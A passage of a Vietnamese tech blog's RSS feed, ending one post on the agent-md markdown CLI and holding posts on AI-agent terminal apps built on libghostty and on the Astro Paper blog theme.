agent-md write README.md &quot;# Title\nContent&quot;

# Ghi vào section cụ thể
agent-md write-section README.md \
  --section &quot;## Development&quot; \
  --content &quot;New content&quot;

# Append vào cuối file
agent-md append README.md &quot;# New Section\nContent&quot;

# Chèn tại dòng cụ thể
agent-md insert README.md 10 &quot;# Inserted line&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tất cả lệnh ghi đều tự động chạy lint trước — đảm bảo content luôn AI-friendly.&lt;/p&gt;
&lt;h3&gt;Search — Tìm Kiếm&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;agent-md search README.md &quot;TODO&quot;
# {&quot;query&quot;:&quot;TODO&quot;,&quot;matches&quot;:[{&quot;line&quot;:15,&quot;content&quot;:&quot;## TODO&quot;}],&quot;total&quot;:1}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Headings — Cấu Trúc&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;agent-md headings README.md
# [{&quot;level&quot;:1,&quot;text&quot;:&quot;My Project&quot;,&quot;line&quot;:1},
# {&quot;level&quot;:2,&quot;text&quot;:&quot;Overview&quot;,&quot;line&quot;:3}]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Stats — Thống Kê&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;agent-md stats README.md
# {&quot;word_count&quot;:120,&quot;line_count&quot;:30,&quot;heading_count&quot;:5}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Convert — JSONL&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;agent-md to-jsonl README.md
# {&quot;type&quot;:&quot;heading&quot;,&quot;content&quot;:&quot;My Project&quot;,&quot;level&quot;:1}
# {&quot;type&quot;:&quot;paragraph&quot;,&quot;content&quot;:&quot;Description...&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Dùng Cho AI Agent&lt;/h2&gt;
&lt;p&gt;Agent MD có một rule cho AI agent trong &lt;code&gt;docs/llm-agent-rule.md&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Khi cần đọc, ghi, hoặc sửa file markdown, luôn dùng &lt;code&gt;agent-md&lt;/code&gt; CLI thay vì thao tác file trực tiếp.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Workflow mẫu:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 1. Lấy cấu trúc document
agent-md read README.md --field headings

# 2. Tìm kiếm content
agent-md search README.md &quot;TODO&quot;

# 3. Validate content trước khi ghi
agent-md lint --content &quot;# New Title\nContent with **bold**&quot;

# 4. Ghi content đã validate
agent-md write README.md &quot;# New Title\nValid content&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;VS Code Extension&lt;/h2&gt;
&lt;p&gt;Agent MD còn có extension cho VS Code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Format on demand (&lt;code&gt;Shift+Option+F&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Format on save&lt;/li&gt;
&lt;li&gt;Configurable options (xoá bold, compact blanks...)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;[markdown]&quot;: {
    &quot;editor.formatOnSave&quot;: true,
    &quot;editor.defaultFormatter&quot;: &quot;agent-md.agent-md-formatter&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;So Sánh Với Công Cụ Khác&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Prettier / markdownlint | Agent MD |
|---|---|---|
| Mục đích | Làm đẹp cho người đọc | Tối ưu cho AI |
| Output | Markdown gốc | JSON |
| In đậm/nghiêng | Giữ nguyên | Xoá bỏ |
| Bảng | Giữ nguyên | Chuyển thành list |
| Section reading | Không | Đọc theo heading path |
| Lint rules | Style cho người | Token-efficient cho AI |&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Agent MD là công cụ đặc thù cho kỷ nguyên AI: nó tối ưu markdown cho LLM đọc, không phải cho người xem.&lt;/p&gt;
&lt;p&gt;Nếu bạn đang xây dựng hệ thống AI agent phải đọc/ghi markdown (documentation, README, blog), Agent MD giúp:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tiết kiệm ~20% token&lt;/li&gt;
&lt;li&gt;Output JSON dễ parse&lt;/li&gt;
&lt;li&gt;Đọc theo section, không cần đọc cả file&lt;/li&gt;
&lt;li&gt;Tự động validate content trước khi ghi&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Một công cụ nhỏ, ý tưởng lớn, viết bằng Rust — đáng để thử trong stack AI của bạn.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/loclv/agent-md&quot;&gt;Agent MD GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rust-lang.org/&quot;&gt;Rust Programming Language&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spec.commonmark.org/0.31.2/&quot;&gt;CommonMark Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://prettier.io/&quot;&gt;Prettier — Markdown Formatter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/DavidAnson/markdownlint&quot;&gt;markdownlint&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>AI Agent Terminal — Làn Sóng Mới Nhờ libghostty</title><link>https://dopana-blog.pages.dev/blog/ai-agent-terminal-lan-song-moi-nho-libghostty</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/ai-agent-terminal-lan-song-moi-nho-libghostty</guid><description>25+ AI agent terminal apps xây trên libghostty trong 9 tháng. Xu hướng workspace cho Claude Code, OpenCode, Codex chạy song song.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;9 tháng trước, Mitchell Hashimoto công bố libghostty. Hôm nay, 25+ project AI agent đã xây dựng trên nó.&lt;/p&gt;
&lt;p&gt;Không phải ngẫu nhiên. AI coding agents (Claude Code, OpenCode, Codex) cần terminal — và libghostty là cách embed terminal đúng đắn nhất hiện tại.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AI Agent Ecosystem 2026
                         ┌─────────────────┐
Claude Code ────────────→│                 │
OpenCode   ────────────→│  libghostty      │
Codex      ────────────→│  terminal core   │
Cline      ────────────→│  (C API, WASM)   │
                         └─────────────────┘
                               ↓
                    Workspace app UI (SwiftUI/GPUI/Tauri)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tại Sao AI Agent Cần Terminal?&lt;/h2&gt;
&lt;p&gt;AI coding agents hoạt động theo vòng lặp:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Read code → Plan → Write code → Run command → Read output → Repeat
                                   ↓
                             Cần terminal
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không phải terminal &quot;gõ lệnh xem output&quot; đơn giản. Agent cần:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nhiều terminal song song — chạy test, build, dev server cùng lúc&lt;/li&gt;
&lt;li&gt;Theo dõi trạng thái — agent nào đang chạy, output gì&lt;/li&gt;
&lt;li&gt;Session persistence — không mất context khi restart&lt;/li&gt;
&lt;li&gt;Programmatic access — đọc/write terminal programmatically&lt;/li&gt;
&lt;li&gt;Isolation — mỗi agent một sandbox riêng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Workspace app cho AI agents là thể loại app mới — và libghostty là terminal engine được chọn.&lt;/p&gt;
&lt;h2&gt;The Big Players&lt;/h2&gt;
&lt;h3&gt;Mux (coder.com)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Desktop + browser app cho isolated, parallel agentic development
- Multiple agent sessions side-by-side
- Terminal rendering via libghostty
- Web version dùng ghostty-web (xterm.js API compatible)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tác giả coder.com cũng tạo &lt;code&gt;ghostty-web&lt;/code&gt; và &lt;code&gt;libghostty-vt-node&lt;/code&gt; — đầu tư sâu vào ecosystem.&lt;/p&gt;
&lt;h3&gt;Ghostree&lt;/h3&gt;
&lt;p&gt;Ghostty fork thêm:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Native git worktree support&lt;/li&gt;
&lt;li&gt;AI agent integration&lt;/li&gt;
&lt;li&gt;Mỗi worktree = môi trường riêng cho agent&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;AiyuTerm&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;macOS native:
├── Multi-repo sidebar
├── Persistent split layouts
├── SSH + tmux support
├── Real-time AI agent status dashboard
└── libghostty terminal core
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Supacode&lt;/h3&gt;
&lt;p&gt;Open-source macOS &quot;command center&quot; cho coding agents:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Chạy nhiều agents song song
supacode run --agent claude --task &quot;Fix bug in auth&quot;
supacode run --agent opencode --task &quot;Add tests&quot;
supacode ps # Xem trạng thái tất cả agents
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Parallel Agent Workflow&lt;/h2&gt;
&lt;p&gt;Xu hướng mới: chạy nhiều agents song song trên cùng workspace.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Workspace App
├── Agent 1: Claude Code → refactor API layer        [running]
│   └── terminal: npm test -- --watch
├── Agent 2: OpenCode → implement user authentication [idle]
│   └── terminal: waiting for review
├── Agent 3: Codex → write documentation              [done]
│   └── terminal: output archived
└── Agent 4: Cline → database migration               [error]
    └── terminal: schema conflict detected
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Các app như Mux0, cmux, moss, Factory Floor đều theo pattern này. libghostty cho phép mỗi agent có terminal riêng, mỗi terminal chạy trong process riêng, render độc lập.&lt;/p&gt;
&lt;h2&gt;Agent-Aware Features&lt;/h2&gt;
&lt;h3&gt;Status Tracking&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// libghostty-vt cho phép đọc terminal state real-time
// App dùng để hiển thị trạng thái agent
interface AgentSession {
  terminal: VirtualTerminal
  status: &apos;running&apos; | &apos;idle&apos; | &apos;error&apos; | &apos;done&apos;
  command: string
  output: string  // Từ libghostty get_text()
  exitCode?: number
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;App như AiyuTerm, in0, Zentty hiển thị trạng thái agent bên cạnh terminal — màu xanh/đỏ/vàng, thời gian chạy, lệnh hiện tại.&lt;/p&gt;
&lt;h3&gt;Notification on Completion&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-swift&quot;&gt;// cmux — macOS notifications cho AI agents
// Khi agent chạy xong hoặc lỗi → notification
// libghostty cho biết terminal đã có output mới
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Session Persistence&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// Zmx — dùng libghostty-vt để save/restore terminal state
// Agent chạy dở → restart → restore nguyên trạng thái
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Agent Sandbox&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Agent sandbox (codelima)
├── VM cô lập
├── libghostty terminal
├── Filesystem riêng
└── Network policy riêng
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Workspace App Categories&lt;/h2&gt;
&lt;h3&gt;Terminal Multiplexer cho Agents&lt;/h3&gt;
&lt;p&gt;| App | Platform | Đặc điểm |
|---|---|---|
| Mux0 | macOS | Workspaces, tabs, split panes. Live status cho Claude Code, OpenCode, Codex |
| cmux | macOS | Vertical tabs, notifications cho AI agents |
| Forge | macOS | Multiplexer cho parallel CLI agents + long-running tasks |
| Muxy | macOS | SwiftUI multiplexer |
| Mori | macOS | Workspace tổ chức theo project + worktree, tmux + libghostty |&lt;/p&gt;
&lt;h3&gt;AI-Native Terminal&lt;/h3&gt;
&lt;p&gt;| App | Platform | Đặc điểm |
|---|---|---|
| blink | macOS | AI terminal hiện đại |
| limpid | macOS | macOS-native cho AI coding agent era |
| witty | Cross-platform | Python + Qt6 + Rust, AI-powered |
| frep | macOS | Agentic terminal emulator |
| con-terminal | macOS | Built-in AI harness |&lt;/p&gt;
&lt;h3&gt;Multi-Agent Workspace&lt;/h3&gt;
&lt;p&gt;| App | Platform | Đặc điểm |
|---|---|---|
| Supacode | macOS | Command center chạy agents song song, open-source |
| moss | macOS | Multi-terminal canvas, agent status tracking, file preview |
| AiyuTerm | macOS | Multi-repo sidebar, SSH, tmux, real-time agent status |
| Factory Floor | macOS | Parallel development + git worktrees + Claude Code agents |
| paulatty | macOS | AI agent team workspace |
| taskers | macOS | Agent-first terminal workspace, Rust shell, Niri-like tiling |
| Zentty | macOS | Vertical tabs, worklanes, notifications, agent-aware sidebar |
| in0 | macOS | Multiplexer với live AI agent status |
| agtmux-term | macOS | AI-agent-aware terminal, SwiftUI sidebar |&lt;/p&gt;
&lt;h3&gt;Agent IDE&lt;/h3&gt;
&lt;p&gt;| App | Platform | Đặc điểm |
|---|---|---|
| moai-studio | Cross-platform | Rust + GPUI, SPEC-first development, MoAI-ADK |
| YEN | macOS | Terminal-first IDE, speech-to-text, themes, notifications |
| TheCommander | macOS | Diff review, git workflow, worktree management |
| ADHDev | Cross-platform | Self-hosted control plane cho AI coding agents |&lt;/p&gt;
&lt;h3&gt;Agent Infrastructure&lt;/h3&gt;
&lt;p&gt;| App | Platform | Đặc điểm |
|---|---|---|
| codelima | macOS | Chạy agents trong VM sandbox cô lập |
| wispterm | Cross-platform | Terminal workspace cho remote development + AI agents |
| Ghostree | macOS | Ghostty fork + git worktree + AI agents |
| Aizen | macOS | Workspace cho parallel development |&lt;/p&gt;
&lt;h2&gt;Tại Sao libghostty Thắng Thế Này?&lt;/h2&gt;
&lt;p&gt;So sánh với các lựa chọn khác cho AI agent terminal:&lt;/p&gt;
&lt;p&gt;| Tiêu chí | xterm.js | libvte | Tự viết | libghostty |
|---|---|---|---|---|
| Native perf | ❌ (JS) | ✅ | ⚠️ | ✅ (Zig) |
| Embed C API | ❌ | ✅ | ✅ | ✅ |
| Zero dependency | ❌ | ❌ | ✅ | ✅ |
| WASM | ✅ | ❌ | ❌ | ✅ |
| Kitty protocol | ❌ | ❌ | ❌ | ✅ |
| Tmux control | ❌ | ❌ | ❌ | ✅ |
| Programmatic read | ⚠️ | ✅ | ✅ | ✅ |
| macOS native | ❌ | ❌ | ⚠️ | ✅ |&lt;/p&gt;
&lt;p&gt;xterm.js là lựa chọn cũ (VS Code dùng). Nhưng cho native macOS app, xterm.js nghĩa là nhúng cả Chromium/WebView — nặng, chậm.&lt;/p&gt;
&lt;p&gt;libghostty native, nhẹ (~14KB), C API = gọi từ Swift/Rust/Go dễ dàng.&lt;/p&gt;
&lt;h2&gt;Tương Lai: Terminal Cho AI Agents&lt;/h2&gt;
&lt;p&gt;Xu hướng đang hình thành:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Từ terminal app → agent workspace: Không chỉ gõ lệnh, mà quản lý agents&lt;/li&gt;
&lt;li&gt;Multi-agent parallel: Nhiều agents chạy cùng lúc, mỗi agent terminal riêng&lt;/li&gt;
&lt;li&gt;Programmatic terminal: AI đọc/write terminal trực tiếp, không qua UI&lt;/li&gt;
&lt;li&gt;Session persistence: Terminal state sống qua restart&lt;/li&gt;
&lt;li&gt;Remote agents: Agents chạy trên server, terminal render local (libghostty + WASM)&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Tương lai: AI agent workspace API
const workspace = new AgentWorkspace()

const agent = workspace.createAgent({
  name: &apos;refactor-auth&apos;,
  model: &apos;claude-code&apos;,
  terminal: { rows: 40, cols: 120 },
  sandbox: { type: &apos;vm&apos;, image: &apos;ubuntu:24.04&apos; },
})

// Agent chạy, terminal render real-time
agent.onOutput((text) =&gt; console.log(text))

// Human take over khi cần
agent.onBlocked(async (reason) =&gt; {
  const input = await askUser(`Agent stuck: ${reason}`)
  agent.continue(input)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;libghostty là nền tảng cho tầm nhìn này. Terminal không còn là app — terminal là component.&lt;/p&gt;
&lt;h2&gt;Tổng Kết&lt;/h2&gt;
&lt;p&gt;25+ AI agent project trên libghostty trong 9 tháng không phải ngẫu nhiên.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 2025: libghostty ra mắt
# 2026: 25+ AI agent apps built on libghostty
# Next: terminal là component, workspace cho agents là app
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;libghostty cung cấp terminal engine đúng cho kỷ nguyên AI coding agents: native, nhẹ, C API, WASM, programmatic access. Còn lại là workspace UX do cộng đồng xây.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://ghostty.org&quot;&gt;Ghostty Terminal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/mitchellh/libghostty&quot;&gt;libghostty GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code&quot;&gt;Claude Code Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/sst/opencode&quot;&gt;OpenCode&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex-cli&quot;&gt;Codex CLI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mux0.dev&quot;&gt;Mux0 — Agent Workspace&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Astro Paper — Theme Blog Minimal Cho Astro</title><link>https://dopana-blog.pages.dev/blog/astro-paper-theme-blog-minimal-cho-astro</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/astro-paper-theme-blog-minimal-cho-astro</guid><description>Astro Paper là theme blog tối giản, hiệu suất cao, SEO-friendly cho Astro — Pagefind, OG động, dark mode, i18n, và hơn thế.</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Khi xây dựng blog cá nhân với Astro, chọn theme phù hợp là bước quan trọng. Bạn muốn blog nhanh, đẹp, dễ SEO, nhưng cũng đừng quá phức tạp để custom.&lt;/p&gt;
&lt;p&gt;Astro Paper là một trong những theme blog phổ biến nhất trong hệ sinh thái Astro — được tạo bởi &lt;a href=&quot;https://github.com/satnaing&quot;&gt;Sat Naing&lt;/a&gt;, focus vào sự tối giản, accessibility, và hiệu suất.&lt;/p&gt;
&lt;h2&gt;Tổng Quan&lt;/h2&gt;
&lt;p&gt;Astro Paper là theme blog mã nguồn mở (MIT License) cho Astro, được thiết kế dựa trên blog cá nhân của tác giả. Nó chạy hoàn toàn trên Astro, không React, không Vue — output là HTML/CSS tĩnh, siêu nhẹ.&lt;/p&gt;
&lt;p&gt;Triết lý: Tối giản nhưng đầy đủ. Đủ tính năng cho một blog chuyên nghiệp, nhưng không phình to thành một CMS cồng kềnh.&lt;/p&gt;
&lt;h2&gt;Tính Năng Nổi Bật&lt;/h2&gt;
&lt;h3&gt;Hiệu Suất &amp;#x26; SEO&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Lighthouse 100/100 — Performance, Accessibility, Best Practices, SEO&lt;/li&gt;
&lt;li&gt;SEO-Friendly — Meta tags, sitemap, RSS feed có sẵn&lt;/li&gt;
&lt;li&gt;Responsive — Hoạt động tốt từ mobile đến desktop&lt;/li&gt;
&lt;li&gt;Accessible — Đã test với VoiceOver (Mac) và TalkBack (Android)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Nội Dung&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Markdown &amp;#x26; MDX — Cả hai định dạng, type-safe&lt;/li&gt;
&lt;li&gt;Code Highlighting — Shiki, hỗ trợ nhiều ngôn ngữ&lt;/li&gt;
&lt;li&gt;Collapsible TOC — Mục lục có thể thu gọn/mở rộng&lt;/li&gt;
&lt;li&gt;Draft Posts — Bài viết nháp, không publish&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;UX&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Dark Mode — Chuyển đổi sáng/tối mượt mà&lt;/li&gt;
&lt;li&gt;Static Search (Pagefind) — Tìm kiếm không server&lt;/li&gt;
&lt;li&gt;Dynamic OG Images — Tự động tạo ảnh preview cho bài viết&lt;/li&gt;
&lt;li&gt;Pagination — Phân trang tự động&lt;/li&gt;
&lt;li&gt;i18n Ready — Sẵn sàng đa ngôn ngữ&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Developer Experience&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;TypeScript — Toàn bộ codebase type-safe&lt;/li&gt;
&lt;li&gt;TailwindCSS — Styling linh hoạt&lt;/li&gt;
&lt;li&gt;Highly Customizable — Config trung tâm, dễ chỉnh sửa&lt;/li&gt;
&lt;li&gt;Best Practices — ESLint, Prettier có sẵn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;p&gt;Tạo project mới với một dòng lệnh:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# pnpm (khuyên dùng)
pnpm create astro@latest --template satnaing/astro-paper

# npm
npm create astro@latest -- --template satnaing/astro-paper

# yarn
yarn create astro --template satnaing/astro-paper

# bun
bun create astro@latest -- --template satnaing/astro-paper
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó chạy:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd ten-du-an
pnpm install
pnpm dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mở &lt;code&gt;http://localhost:4321&lt;/code&gt; — bạn đã có blog chạy ngay lập tức.&lt;/p&gt;
&lt;h2&gt;Cấu Hình&lt;/h2&gt;
&lt;p&gt;Astro Paper dùng file &lt;code&gt;astro-paper.config.ts&lt;/code&gt; ở thư mục gốc để quản lý toàn bộ cấu hình:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export default defineAstroPaperConfig({
  site: {
    url: &apos;https://example.com&apos;,
    title: &apos;Blog Của Tôi&apos;,
    description: &apos;Mô tả blog&apos;,
    author: &apos;Tên bạn&apos;,
    lang: &apos;vi&apos;,
    timezone: &apos;Asia/Ho_Chi_Minh&apos;,
    googleVerification: &apos;...&apos;, // tuỳ chọn
  },
  posts: {
    perPage: 6,       // 6 bài mỗi trang
    perIndex: 5,      // 5 bài trên trang chủ
    scheduledPostMargin: 15, // phút
  },
  features: {
    lightAndDarkMode: true,
    dynamicOgImage: true,
    showArchives: true,
    showBackButton: true,
    search: { provider: &apos;pagefind&apos; },
    editPost: {
      url: &apos;https://github.com/you/your-blog/edit/main/src/content/posts&apos;,
    },
  },
  socials: [
    { name: &apos;github&apos;, href: &apos;https://github.com/you&apos; },
    { name: &apos;twitter&apos;, href: &apos;https://twitter.com/you&apos; },
  ],
  shareLinks: [&apos;twitter&apos;, &apos;facebook&apos;, &apos;linkedin&apos;],
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Mọi thứ đều có IntelliSense — gõ &lt;code&gt;defineAstroPaperConfig&lt;/code&gt; là được IDE gợi ý ngay.&lt;/p&gt;
&lt;h2&gt;Thêm Bài Viết&lt;/h2&gt;
&lt;p&gt;Đặt file &lt;code&gt;.md&lt;/code&gt; hoặc &lt;code&gt;.mdx&lt;/code&gt; vào &lt;code&gt;src/content/posts/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;---
title: &apos;Tiêu đề bài viết&apos;
description: &apos;Mô tả ngắn&apos;
publishDate: &apos;2026-07-03&apos;
tags: [Astro, Tutorial]
ogImage: &apos;/path/to/image.jpg&apos; # tuỳ chọn, nếu không có thì dùng OG động
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bạn có thể tổ chức bài viết vào thư mục con — tên thư mục sẽ thành một phần của URL. Ví dụ &lt;code&gt;src/content/posts/javascript/closure.md&lt;/code&gt; → &lt;code&gt;/posts/javascript/closure&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Tuỳ Chỉnh Giao Diện&lt;/h2&gt;
&lt;h3&gt;Màu Sắc&lt;/h3&gt;
&lt;p&gt;Astro Paper dùng CSS variables, sửa trong &lt;code&gt;src/styles/theme.css&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* Light mode */
:root {
  --color-accent: 47, 109, 225;
  --color-accent-bg: #eef3ff;
  --color-card: #ffffff;
  --color-bg: #f8f9fa;
  --color-text: #1a1a2e;
}

/* Dark mode */
:root.dark {
  --color-accent: 98, 157, 255;
  --color-accent-bg: #1a2332;
  --color-card: #1e1e2e;
  --color-bg: #0d0d1a;
  --color-text: #e4e4e7;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Theme có sẵn nhiều bảng màu predefined — bạn có thể chọn hoặc tự custom.&lt;/p&gt;
&lt;h3&gt;Font&lt;/h3&gt;
&lt;p&gt;Muốn đổi font? 3 bước:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Khai báo font trong &lt;code&gt;astro.config.ts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Cập nhật component &lt;code&gt;&amp;#x3C;Font /&gt;&lt;/code&gt; trong &lt;code&gt;src/layouts/Layout.astro&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Sửa biến CSS &lt;code&gt;--font-app&lt;/code&gt; trong &lt;code&gt;src/styles/theme.css&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Logo&lt;/h3&gt;
&lt;p&gt;Có 3 cách:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Text — Cấu hình trong &lt;code&gt;astro-paper.config.ts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;SVG — File SVG tĩnh&lt;/li&gt;
&lt;li&gt;Image — Astro &lt;code&gt;Image&lt;/code&gt; component trong &lt;code&gt;Header.astro&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Cấu Trúc Thư Mục&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/
├── public/              # Static assets
│   ├── pagefind/        # Tự động sinh khi build
│   └── favicon.svg
├── src/
│   ├── assets/          # Icons, images
│   ├── components/      # UI components
│   ├── content/
│   │   ├── pages/       # Trang tĩnh (about, ...)
│   │   └── posts/       # Bài viết blog
│   ├── i18n/            # Đa ngôn ngữ
│   ├── layouts/         # Page layouts
│   ├── pages/           # Route pages
│   ├── styles/          # CSS, theme
│   ├── config.ts        # Config mặc định (không sửa)
│   └── content.config.ts
├── astro-paper.config.ts # Config người dùng
└── astro.config.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Commands&lt;/h2&gt;
&lt;p&gt;| Command | Mô tả |
|---|---|
| &lt;code&gt;pnpm install&lt;/code&gt; | Cài dependencies |
| &lt;code&gt;pnpm dev&lt;/code&gt; | Dev server tại localhost:4321 |
| &lt;code&gt;pnpm build&lt;/code&gt; | Type-check + build + Pagefind index |
| &lt;code&gt;pnpm preview&lt;/code&gt; | Preview bản build |
| &lt;code&gt;pnpm sync&lt;/code&gt; | Gen TypeScript types cho Astro |&lt;/p&gt;
&lt;h2&gt;Deployment&lt;/h2&gt;
&lt;p&gt;Astro Paper là static site — deploy được ở bất kỳ đâu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cloudflare Pages (khuyên dùng)&lt;/li&gt;
&lt;li&gt;Vercel&lt;/li&gt;
&lt;li&gt;Netlify&lt;/li&gt;
&lt;li&gt;GitHub Pages&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Chỉ cần kết nối repo, build command là &lt;code&gt;pnpm build&lt;/code&gt;, output dir là &lt;code&gt;dist&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;So Sánh&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Astro Paper | astro-pure (blog này) | AntfuStyle |
|---|---|---|---|
| UI Framework | Zero | Zero | Zero |
| Search | Pagefind | Pagefind | Pagefind |
| OG Image | Động (Satori) | Có | Có |
| Dark Mode | Có | Có | Có |
| i18n | Có sẵn | Có | Không |
| Comments | Không mặc định | Waline | Giscus |
| Color Schemes | CSS variables | CSS variables | CSS variables |
| Animated BG | Không | Không | Có (4 hiệu ứng) |&lt;/p&gt;
&lt;p&gt;Astro Paper phù hợp nếu bạn muốn blog tối giản, hiệu suất cao, dễ custom, và có sẵn các tính năng core như search, OG động, i18n.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Astro Paper là một trong những theme blog Astro tốt nhất hiện tại — minimal, performance-first, accessibility-aware. Nó cung cấp đủ tính năng cho một blog chuyên nghiệp mà không làm bạn choáng ngợp.&lt;/p&gt;
